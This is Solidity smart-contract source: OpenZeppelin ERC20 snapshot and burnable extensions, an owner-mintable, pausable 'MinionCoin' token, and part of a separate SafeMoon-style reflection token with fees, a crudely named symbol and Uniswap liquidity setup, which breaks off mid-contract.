* In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
* accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
* used to create an efficient ERC20 forking mechanism.
*
* Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
* snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
* id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
* and the account address.
*
* NOTE: Snapshot policy can be customized by overriding the {_getCurrentSnapshotId} method. For example, having it
* return `block.number` will trigger the creation of snapshot at the begining of each new block. When overridding this
* function, be careful about the monotonicity of its result. Non-monotonic snapshot ids will break the contract.
*
* Implementing snapshots for every block using this method will incur significant gas costs. For a gas-efficient
* alternative consider {ERC20Votes}.
*
* ==== Gas Costs
*
* Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
* n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
* smaller since identical balances in subsequent snapshots are stored as a single entry.
*
* There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
* only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
* transfers will have normal cost until the next snapshot, and so on.
*/
abstract contract ERC20Snapshot is ERC20 {
// Inspired by Jordi Baylina's MiniMeToken to record historical balances:
// https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping(address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
/**
* @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
*/
event Snapshot(uint256 id);
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example using {AccessControl}, or it may be open to the public.
*
* [WARNING]
* ====
* While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
* you must consider that it can potentially be used by attackers in two ways.
*
* First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
* logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
* specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
* section above.
*
* We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
* ====
*/
function _snapshot() internal virtual returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _getCurrentSnapshotId();
emit Snapshot(currentId);
return currentId;
}
/**
* @dev Get the current snapshotId
*/
function _getCurrentSnapshotId() internal view virtual returns (uint256) {
return _currentSnapshotId.current();
}
/**
* @dev Retrieves the balance of `account` at the time `snapshotId` was created.
*/
function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
/**
* @dev Retrieves the total supply at the time `snapshotId` was created.
*/
function totalSupplyAt(uint256 snapshotId) public view virtual returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
// Update balance and/or total supply snapshots before the values are modified. This is implemented
// in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) {
// mint
_updateAccountSnapshot(to);
_updateTotalSupplySnapshot();
} else if (to == address(0)) {
// burn
_updateAccountSnapshot(from);
_updateTotalSupplySnapshot();
} else {
// transfer
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
}
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) {
require(snapshotId > 0, "ERC20Snapshot: id is 0");
require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id");
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _getCurrentSnapshotId();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/ERC20Burnable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
// File: MINION.sol
// Symbol: MINION
// Name: MinionCoin
//
// (c) created by GRU
pragma solidity ^0.8.2;
/*import "@openzeppelin/[email protected]/token/ERC20/extensions/ERC20Capped.sol";*/
/*import "@openzeppelin/[email protected]/token/ERC20/extensions/ERC20FlashMint.sol";*/
/*import "@openzeppelin/[email protected]/token/ERC20/extensions/ERC20Votes.sol";*/
/*import "@openzeppelin/[email protected]/token/ERC20/extensions/ERC20Wrapper.sol";*/
contract MinionCoin is ERC20, ERC20Burnable, Pausable, Ownable {
constructor() ERC20("MinionCoin", "MINION") {
_mint(msg.sender, 1000000000000 * 10 ** decimals());
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(from, to, amount);
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
}
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
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|
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract EWAP is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Ethereum Wet Ass Pussy";
string private _symbol = "EWAP 💦🐱";
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 10;
uint256 private _previousLiquidityFee = _liquidityFee;
address payable public _devWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**6 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 50000 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address payable devWalletAddress) public {
_devWalletAddress = devWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setDevFeeDisabled(bool _devFeeEnabled ) public returns (bool){
require(msg.sender == _devWalletAddress, "Only Dev Address can disable dev fee");
swapAndLiquifyEnabled = _devFeeEnabled;
return(swapAndLiquifyEnabled);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
